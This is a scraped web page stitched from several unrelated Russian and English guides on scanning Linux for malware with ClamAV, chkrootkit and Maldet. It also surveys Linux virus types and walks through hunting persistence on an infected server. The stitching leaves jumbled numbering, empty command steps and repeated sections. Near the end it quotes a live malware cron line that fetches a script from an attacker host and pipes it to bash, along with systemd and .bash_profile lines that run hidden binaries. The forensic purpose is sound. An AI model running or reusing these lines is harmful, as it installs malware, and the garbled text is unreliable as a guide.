How to install maldet and run a scan

Проверка Linux на вирусы

Существует несколько превосходных инструментов с открытым исходным кодом, которые помогут вам проверить, не была ли ваша система Linux жертвой вредоносного ПО. Хотя ни одно программное обеспечение не является идеальным, эти три имеют солидную репутацию и им можно доверять, чтобы найти наиболее известные угрозы.

1. ClamAV

ClamAV является стандартным антивирусом и, вероятно, будет наиболее знакомым для вас. Существует также версия ClamAV для Windows.

Установите ClamAV и ClamTK

ClamAV и его графический интерфейс упакованы отдельно. Это потому, что ClamAV может быть запущен из командной строки без графического интерфейса. Вы сможете выбрать самый удобный для вас. Тем не менее, графический интерфейс ClamTK проще для большинства людей. Ниже описано, как его установить.

Для дистрибутивов на основе Debian и Ubuntu:

Вы также можете найти clamav и clamtk в менеджере пакетов вашего дистрибутива, если вы не используете дистрибутив на основе Ubuntu.

После того, как обе программы установлены, вы должны обновить их вирусную базу. В отличие от всего остального с ClamAV, это должно быть сделано как root или с помощью sudo.

Есть шанс, что freshclam запускается как образ. Чтобы запустить его вручную, остановите образ с помощью Systemd. Затем вы можете запустить его как обычно.

Это займет некоторое время, поэтому просто позвольте ClamAV позаботиться обо всем.

Запустите сканирование

Перед запуском сканирования нажмите кнопку «Настройки» и отметьте «Сканирование файлов, начинающихся с точки», «Сканирование файлов размером более 20 МБ» и «Сканирование каталогов рекурсивно».

Вернитесь в главное меню и нажмите «Сканировать каталог». Выберите каталог, который вы хотите проверить. Если вы хотите просканировать весь компьютер, выберите «Файловая система». Возможно, вам придется перезапустить ClamTK из командной строки с помощью sudo, чтобы это работало.

После завершения сканирования ClamTK сообщит вам обо всех обнаруженных угрозах и позволит выбрать, что с ними делать. Их удаление, очевидно, лучше, но может дестабилизировать систему. Это сводится к решению суда для вас.

2. Chkrootkit

Проверка Linux на вирусы имеет множество вариантов. Но, один из самых удобных именно этот. Следующее сканирование для установки — Chkrootkit. Он сканирует тип вредоносного ПО, специфичного для Unix-подобных систем, таких как Linux и Mac, — руткит. Как следует из названия, целью руткитов является получение root-доступа в целевой системе.

Chkrootkit сканирует системные файлы на наличие признаков вредоносных изменений и проверяет их по базе данных известных руткитов.

Chkrootkit доступен в большинстве репозиториев. Установите его с вашим менеджером пакетов.

How to Install Maldet in 5 Easy Steps

Before you can run a scan with Maldet, you’ll need to download, unpack, and install it onto your server. By following these five easy steps though, you’ll be up and running in no time. Best of all, the process can be completed entirely from within your server’s terminal by using the following series of commands. 

  1. First, you’ll need to login to your server with root user

  2. The Maldet installation pack is not available from online repositories, but is instead distributed as a tarball from the project’s official web site. The tarball containing the source code of the latest version can be downloaded directly using the following command or by accessing this link:wget https://www.rfxn.com/downloads/maldetect-current.tar.gz

  1. Once the tarball is downloaded, you’ll need to unpack it and enter the directory where its contents were extracted. To extract the file, use the command shown below and hit enter.

    tar -xvf maldetect-current.tar.gz

  1. Now, move to the Maldet directory using the command:

    Cd maldetect-1.4.2

  1. Once you’ve moved into the Maldet directory, you will have to execute the installation script. This can be done by entering the command below and then hitting enter.

    ./install sh

3. Linux.NyaDrop

Это еще один троян, который инфицирует IoT устройства под управлением Linux точно так же, как это делает Mirari. Он не просто ищет устройства без пароля, но и пытается перебрать самые часто используемые пароли для telnet, чтобы попасть на устройство.

Работает вирус немного другим образом, после проникновения на устройство, он загружает исполняемые файлы бэкдора, который позволяет получить удаленный доступ к устройству. Пока что инициируются только роутеры на архитектуре MIPS, но в будущем вирус может расширить круг своих жертв. Хакеры смогут использовать зараженные устройства не только для DDoS атак, но и, например, в качестве прокси.

Scan with Linux Malware Detect

Let us test the functionality of LMD by downloading sample virus signature from EICAR website.

cd /tmp
wget http://www.eicar.org/download/eicar_com.zip
wget http://www.eicar.org/download/eicarcom2.zip

Now, scan the /tmp directory for malware.

maldet -a /tmp

Output:

Linux Malware Detect v1.6.2
            (C) 2002-2017, R-fx Networks <[email protected]>
            (C) 2017, Ryan MacDonald <[email protected]>
This program may be freely redistributed under the terms of the GNU GPL v2

maldet(4209): {scan} signatures loaded: 15218 (12485 MD5 | 1954 HEX | 779 YARA | 0 USER)
maldet(4209): {scan} building file list for /tmp, this might take awhile...
maldet(4209): {scan} setting nice scheduler priorities for all operations: cpunice 19 , ionice 6
maldet(4209): {scan} file list completed in 0s, found 4 files...
maldet(4209): {scan} found clamav binary at /usr/bin/clamscan, using clamav scanner engine...
maldet(4209): {scan} scan of /tmp (4 files) in progress...
maldet(4209): {scan} processing scan results for hits: 2 hits 0 cleaned
maldet(4209): {scan} scan completed on /tmp: files 4, malware hits 2, cleaned hits 0, time 12s
maldet(4209): {scan} scan report saved, to view run: maldet --report 171026-1103.4209

From the output, you can notice that LMD is using ClamAV scanner engine to perform the scan and succeeded in finding two malware hits.

Антивирус Linux Malware Detect

Что умеет (LMD):

  • Он отлично сканирует безопасность по МД5 и распознает, какого типа является найденная информация.
  • Ведет статистку.
  • Ищет инсталлированный ранее Clam AntiVirus и применяет его для сканирования.
  • Может вручную и автоматически обновлять сигнатуры и устанавливать новую версию скрипта.
  • Сканировать последние созданные файлы (к примеру, за неделю).
  • При обнаружении потенциальной угрозы, данные отправляются на оф. сайт для дальнейшего анализа.
  • Построение отчетов.
  • Заготовки, для сканирования различных директорий на регулярной основе.
  • Возможность создавать исключения для различных путей и директорий.
  • Результаты сканирования могут быть отправлены на E-Mail.

Как он работает Linux Malware Detect:

Сканирование файлов реализовано при помощи скрипта, который работает на базе команды Grep. При наличии установленного Clam AntiVirus, для сканирования используется clam scan. LMD также имеет собственную базу сигнатур, но дополнительно может использовать базу Clam AntiVirus.

Откуда сканер берет сигнатуры вирусов:

  • Используются данные сети. Разработчик Linux Malware Detect является хостером для 35 тысяч сайтов. Полученные данные подвергаются анализу и обработке. Этот источник является основным.
  • Взаимный обмен данными с Clam AntiVirus.
  • Данные, которые присылают пользователя сканера.
  • В каких случаях разумно использовать LMD
  • В случаях, когда необходимо следить за возможными угрозами на хостинге.
  • Владельцам хостинга. Есть возможность организовать рассылку пользователям с информацией о ежедневных сканированиях.

Установка:

Для скачивания дистрибутива используется команда:wget
Путь к архиву — http://www.rfxn.com/downloads/maldetect-current.tar.gz
для извлечения из архива используется команда:tar -zxvf
Для установки скачанных файлов используется команда:sh ./install.sh

Некоторые полезности для настройки сканера:

Файл конфигурации conf.maldet лежит в папке /usr/local/maldetect
Полный путь к фалу: /usr/local/maldetect/conf.maldet.
Файл имеет большое количество настроек и отличную документацию.

Основные команды для работы со сканером.

Для просмотра необходимо каталога используется команда:# maldet -a /home/user1/site.ru
Для обновления базы используется команда:#maldet –u
Для сканирования всех изменений в определенном каталоге, за определенное количества дней (в данном примере это «3») используется команда:#maldet -r /home/user-user/ 3
Для того, чтобы отправить найденную уязвимость разработчику используется команда:#maldet -c /home/ user-user /file1.php

Linux Malware Detect распространяется как свободное программное обеспечение и может быть скачено и установлено любым пользователем (General Public License).

Running a Scan with Maldet

Now that Maldet is installed, you can check to make sure it’s working correctly by running a scan on your server to identify infected files. To run a scan, enter the following command:

maldet –a

As you can see in the image above, if everything has been entered correctly, you should see that Maldet has started scanning now.

Popular Links

Looking for more information on Maldet? Search our Knowledge Base!

Interested in more articles about Security? Navigate to our Categories page using the bar on the left or check out these popular articles:

  • How to Clear the YUM Cache
  • How to Install CSF (ConfigServer Firewall)
  • Reset the MySQL Root Password on Windows Server

Popular tags within this category include: YUM, Maldet, SSL, and more.

Don’t see what you’re looking for? Use the search bar at the top to search our entire Knowledge Base.

The Hivelocity Difference

Seeking a better Dedicated Server solution? In the market for Private Cloud or Colocation services? Check out Hivelocity’s extensive list of products for great deals and offers.

With best-in-class customer service, affordable pricing, a wide-range of fully-customizable options, and a network like no other, Hivelocity is the hosting solution you’ve been waiting for.

Сканирование

Рекомендую запускать maldet с использованием tmux

  • запускаем
    tmux
  • выполняем запуск антивируса
    maldet -a /var/www/webmaster/data/www/
  • если соединение с сервером разорвется или случайно закроете сеанс, то надо по новой подключится и выполнить команду
    tmux attach

    и откроется сохраненный сеанс

По завершению maldet на экран выведет отчет. Например:

Linux Malware Detect v1.4.2
(C) 2002-2013, R-fx Networks 
(C) 2013, Ryan MacDonald 
inotifywait (C) 2007, Rohan McGovern 
This program may be freely redistributed under the terms of the GNU GPL v2
maldet(20396): {scan} signatures loaded: 10775 (8863 MD5 / 1912 HEX)
maldet(20396): {scan} building file list for /var/www/webmaster/data/www/, this might take awhile...
maldet(20396): {scan} file list completed, found 26 files...
maldet(20396): {scan} 26/26 files scanned: 0 hits 0 cleaned
maldet(20396): {scan} scan completed on /var/www/webmaster/data/www/: files 26, malware hits 0, cleaned hits 0
maldet(20396): {scan} scan report saved, to view run: maldet --report 052815-1302.20396

В конце указана команда для просмотра отчета:

maldet --report 052815-1302.20396

Все отчеты сканирования находятся в директории: /usr/local/maldetect/sess
Расшифровка имени отчета:
session.052815-1502.5768

  • 052815 — дата старта сканирования, 28 мая 2015 по американскому формату времени
  • 1502 — время старта сканирования, 15 часов 2 минуты

Итак

Как вы могли обратить внимание, среди нашего инструментария только обычные утилиты Linux. Конечно, имеются системы предотвращения вторжений, Indicator of Compromise (IOC) (индикаторы компрометации), антивирусы, анализаторы вредоносного трафика и другой вредоносной активности

Но такие программы не всегда установлены и, на самом деле, не всегда требуются чтобы найти и даже устранить причину проблемы.

Ещё вы могли обратить внимание на скрипт, который скачивается планировщиком задач Cron — это загрузчик (Downloader), написан на Bash. Даунлоадеры — это небольшие программы, которые обычно сами не делают каких-либо деструктивных действий, но при этом загружают в операционную систему вирусы, трояны и другие вредоносные программы

В данном случае загрузчик скачивает и запускает троян ботнета и майнер. Сам загрузчик пытается закрепиться в системе и, более того, пытается заразить другие машины — ищет имена пользователей и ключи для входа в другие системы. В общем, скрипт весьма любопытный — в следующей части мы изучим его. Изучение захваченных скриптов, файлов, команд полезно не только для саморазвития — они также могут дать подсказки, каким ещё образом вирус мог попытаться закрепиться в системе.

Смотрите продолжение: Анализ вируса под Linux на Bash

Виды вирусов для Linux

Давайте теперь рассмотрим виды вирусов Linux, которые существуют и могут заразить ваш сервер или систему.

1. Руткиты

Руткит от rootkit (набор инструментов root) — это вирус, который встраивается в ядро системы и благодаря этому может скрывать своё присутствие. Обычно руткиты используются не сами по себе, а прикрывают какие-либо другие вирусы, например бэкдоры. Такие вирусы очень опасны, потому что обнаружить их очень сложно, а удалить вообще может быть невозможно. Чтобы проверить систему на наличие руткитов можно использовать утилиту chkrootkit или rkhunter. Подробнее читайте в статье Проверка Linux на вирусы.

2. Шифровальщики

Шифровальщики или Ransomware часто встречались в Windows. Они шифруют ваши файлы и требуют перевести определённую суму денег за расшифровку. В 2015 году такие вирусы появились и для Linux. Первым был вирус, получивший название Encoder. Используя разные уязвимости он проникал на сервер и шифровал находящиеся там данные с помощью алгоритма AES и RSA. Вирус проникал в систему с помощью уязвимостей в CMS для создания интернет магазинов Magento.

3. Ботнеты

Ботнеты менее опасны для компьютеров и серверов, которые они заражают потому что стараются не вредить и вообще не показывать своего присутствия. Обычно они используются для выполнения DDoS атак на различные сайты и узлы сети. К нашумевшим ботнетам можно отнести Mirai, заражавший роутеры, который уже упоминался выше.

5. Черви

Черви называются так, потому что они сами распространяются используя различные уязвимости в системе или слабые пароли. Например SSH пароли к серверам очень часто пытаются перебрать различные черви чтобы проникнуть в систему, сделать то, что им надо и атаковать следующие системы. Самый первый вирус, который был созданный для Linux был червем. Он назывался Bliss и был обнаружен в 1997 году. Этот вирус перезаписывал собой все доступные ему исполняемые файлы и пытался распространится по доступным хостам.

Основные команды для работы с Maldet.

Запустить проверку в определённой директории. Необходимо указывать полный путь до нужной директории от корня:

maldet -a /path/to/dir

Когда сканирование будет завершено, сканер сообщит какой SCANID был присвоен отчёту (в примере 170501-0036.29912)…

maldet(25173): {scan} scan report saved, to view run: maldet --report 170501-0036.29912

… далее с этим отчётом можно работать.

Отправить на карантин всё найденное в отчёте:

maldet -q 170501-0036.29912

Попытаться «вылечить» найденные при сканировании 170501-0036.29912 файлы. При успешном лечении, файлы будут восстановлены без проблемного кода:

maldet -n 170501-0036.29912

Восстановить отправленные на карантин файлы во время сканирования 170501-0036.29912:

maldet -s 170501-0036.29912

Важный момент — если какие-то файлы были «вылечены», восстановление по отчёту может пройти не совсем корректно. Разумеется, удалённый в процессе лечения код данной командой восстановлен быть не может.

Восстановить конкретный файл из карантина:

maldet -s /usr/local/maldetect/quarantine/config.php.12345

Показать список всех имеющихся отчётов:

maldet -e list

Открыть отчёт сканирования 170501-0036.29912:

maldet -e 170501-0036.29912

В случае, когда работа ведётся с файлами и отчётами при сканировании от имени пользователя (например когда maldet настроен в связке с modsecurity), необходимо использовать параметр -U (—user). Например восстановление файлов из карантина, при этом, будет выглядеть вот так:

maldet -U nobody -s 170430-2322.25776

Где 170430-2322.25776 — это отчёт о сканировании и обработке файла, загруженного по http скриптами от пользователя nobody.

Даст куда более подробную информацию об этих и других доступных для работы со сканером командах:

maldet -h

Мониторинг в реальном времени.

Maldet позволяет настроить мониторинг файлов в нужных администратору директориях в реальном времени. Свои параметры мониторинг берёт из конфигурационного файла, там необходимое можно найти в секции . Для работы мониторинга необходимо установить inotify-tools (в CentOS можно взять из EPEL), без него мониторинг работать не будет…

maldet(31124): {mon} could not find inotifywait command, install yum package inotify-tools or download from https://github.com/rvoicilas/inotify-tools/wiki/

Сам мониторинг имеет три варианта запуска:

1. Мониторинг пользователей. В этом режиме под контролем у сканера окажутся все директории пользователей. Запускается командой:

maldet -m users

2. Мониторинг только нужных Вам директорий (включая вложенные в них). Нужные пути указыватся через запятую. Команда для запуска следующая:

maldet -m /home/vasys,/var/www/sites

3. Мониторинг путей из списка. Администратор может указать путь до файла, в котором будет содержаться список необходимых для мониторинга мест. Запускается такой режим командой:

maldet -m /root/check_this_dirs

Автивность можно проследить по логу /usr/local/maldetect/logs/inotify_log. Сам процесс в системе выглядит примерно так:

# ps aux | grep maldet
root 23580 9.3 0.0 9804 3832 pts/2 SN 22:38 0:08 /usr/bin/inotifywait -r --fromfile /usr/local/maldetect/sess/inotify.paths.23486 --exclude \(^/var/tmp/mysql.sock$|^/tmp/mysql.sock$|^/var/cache/buagent/md0.cache.data$|^/var/tmp/#sql_.*\.MYD$|^/tmp/#sql_.*\.MYD$|^/var/tmp/clamav-.*|^/tmp/clamav-.*|^/usr/local/maldetect*|^/dev/pts*|^/dev/null\) --timefmt %d %b %H:%M:%S --format %w%f %e %T -m -e create,move,modify
root 23593 0.0 0.0 119132 3012 pts/2 S 22:38 0:00 bash /usr/local/sbin/maldet -m /home/sysadmin/

Остановить мониторинг можно командой:

maldet -k

Для серверов работающих под нагрузкой и/или для серверов работающих с огромным количеством файлов, имеет смысл обратить внимание на настройки в секции MONITORING OPTIONS конфига maldet’а. В случае если мониторинг будет создавать избыточную нагрузку, с помощью опций в этой секции можно ограничить его работу до разумных пределов

Install Maldet

To install Maldet, you will need their package archive, which can be found on the official download page. However, when upgrades occur, they do not change the file URL, so luckily, the download link will not change often.

At the time of this tutorial, version (1.6.4) is the latest; however, in time, this will change. To download the latest version now and in the future, type the following command:

In the next part, you will need to extract the archive, which you can do with the following command:

Now you have confirmed the archive is extracted correctly, you will (CD) into the directory and execute the installation script to install Maldet with the following command:

The installation should be complete in a matter of seconds, and you will get a similar output as below:

1. Linux.Encoder

Linux.Encoder известный, как первый шифровальщик для операционных систем на базе ядра Linux. Распространение вируса началось 5 ноября 2015 года. Используя различные уязвимости в системе вирус шифровальщик linux проникал на сервер и зашифровывал все доступные для записи файлы с помощью симметричного шифрования AES и RSA.

Открытый ключ, которым было выполнено шифрование доступен всем, а вот за закрытый, нужный для расшифровки, злоумышленники требовали деньги в валюте bitcoin. Основным путем для проникновения в систему для этого вируса была уязвимость в популярной CMS для создания онлайн магазинов — Magento. Естественно, уязвимость была давно закрыта, но не все небольшие ресурсы установили обновление, за что и поплатились.

Было обнаружено несколько версий вируса Linux.Encoder.0, Linux.Encoder.1 , Linux.Encoder.2. Но для всех из них со временем были найдены способы расшифровки файлов.

Поиск следов закрепления вредоносного ПО

Поиск недавно созданных файлов

Инструментарий:

  • Практические примеры использования команды find в Linux
  • Команда find: поиск в файловой системе по любым свойствам файла

Поиск файлов в указанной папке, которые были изменены менее 1 дня назад:

find /bin/ -mtime -1

Вывод:

  • /bin/
  • /bin/sysdr
  • /bin/bprofr
  • /bin/crondr
  • /bin/core_perl

Выделенные файлы — это вирусы (проверил на virustotal.com).

Чтобы найти все файлы, которые были изменены ровно 50 дней назад:

find / -mtime 50

Чтобы найти все файлы, к которым был получен доступ ровно 50 дней назад:

find / -atime 50

Чтобы найти все файлы, которые были модифицированы более 50 дней назад и менее 100 дней назад:

find / -mtime +50 -mtime -100

Чтобы найти файлы, свойства которых (права доступа, владелец, группа) были изменены за последний час:

find / -cmin -60

Чтобы найти файлы, которые были модифицированы за последний час:

find / -mmin -60

Чтобы найти все файлы, доступ к которым был сделан за последний час:

find / -amin -60

Поиск служб в автозагрузке

Инструментарий:

  • Как использовать Systemctl для управления службами Systemd и юнитами
  • Как в Linux добавить программу в автозагрузку

Если вы хотите посмотреть только юниты, добавленные в автозагрузку, то используйте следующую конструкцию:

systemctl list-unit-files | grep enabled

Посмотрите на две службы с именами:

  • pwnrige.service
  • pwnrigl.service

На самом деле, вредоносное ПО может модифицировать файлы Systemctl и заменить собой любую службу или выбрать менее вызывающее название, но в данном случае очевидно, что это посторонние сервисы.

Можно посмотреть, что там внутри:

sudo systemctl edit pwnrige.service
sudo systemctl edit pwnrigl.service

Или так:

cat /etc/systemd/system/pwnrige.service
cat /usr/lib/systemd/system/pwnrigl.service

Следующая строка

/bin/bash -c 'cp -f -r -- /bin/sysdr /bin/dbused 2>/dev/null && /bin/dbused -c >/dev/null 2>&1 && rm -rf -- /bin/dbused 2>/dev/null'

Говорит нам о том, что файл вируса спрятан в /bin/sysdr.

Поиск в директориях /etc/systemd/system/ и /usr/lib/systemd/system/ файлов созданных за последний день:

find /etc/systemd/system/ /usr/lib/systemd/system/ -mtime -1

Знакомые нам файлы:

  • /etc/systemd/system/pwnrige.service
  • /usr/lib/systemd/system/pwnrigl.service

Поиск по содержимому файлов (по тексту)

Инструментарий:

Регулярные выражения и команда grep

Поиск строк sysdr или cp в директориях /etc/systemd/system/ и /usr/lib/systemd/system/:

grep --color -E '(sysdr)|(cp )' /etc/systemd/system/* /usr/lib/systemd/system/* 2>/dev/null

Расписания задач Cron

Инструментарий:

Как вывести все задачи Cron

Следующие две команды покажут содержимое задач Cron для всех пользователей:

for user in $(cut -f1 -d: /etc/passwd); do sudo crontab -u $user -l 2>/dev/null | grep -v '^#'; done

Более гибкий вариант, не рассчитывает на имена пользователей:

grep '*' --color /etc/anacrontab /var/spool/cron/crontabs/* /var/spool/cron/* /etc/cron.hourly/* /etc/cron.daily/* /etc/cron.weekly/* /etc/cron.monthly/* /etc/cron.d/* /etc/init.d/down 2>/dev/null

Обратите внимание, как прочно укоренился вирус в системе:

(curl -fsSL http://bash.givemexyz.in/xms||wget -q -O- http://bash.givemexyz.in/xms||python -c 'import urllib2 as fbi;print fbi.urlopen("http://bash.givemexyz.in/xms").read()')| bash -sh; lwp-download http://bash.givemexyz.in/xms /xms; bash /xms; /xms; rm -rf /xms

Этот набор команд, который должен выполняться с периодичность 1 раз в минуту, прописан в следующих файлах:

  • /etc/cron.d/root
  • /etc/cron.d/nginx
  • /etc/cron.d/apache
  • /var/spool/cron/root

Автоматически выполняемые скрипты

Инструментарий:

Различия между Login shell и Non login shell (оболочка с входом и оболочка без входа)

В Linux имеются скрипты, которые выполняются автоматически при входе пользователя в систему.

Некоторые из этих скриптов общие для всех пользователей, некоторые — у каждого пользователя свои:

  • /etc/profile
  • /etc/profile.d/*
  • ~/.bash_profile
  • ~/.bashrc
  • /etc/bashrc

Если вы не знаете, что именно нужно искать, то используйте следующую команду, которая выведет содержимое для всех файлов всех пользователей:

sudo grep --color '.*' /etc/profile /etc/profile.d/* /home/*/.bash_profile /home/*/.bashrc /etc/bashrc /root/.bash_profile /root/.bashrc

Посмотрите какая неприятность — в файле /root/.bash_profile найдена следующая строка:

cp -f -r -- /bin/bprofr /bin/dbused 2>/dev/null && /bin/dbused -c >/dev/null 2>&1 && rm -rf -- /bin/dbused 2>/dev/null
Рейтинг
( Пока оценок нет )
Понравилась статья? Поделиться с друзьями:
Мой редактор ОС
Добавить комментарий

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!: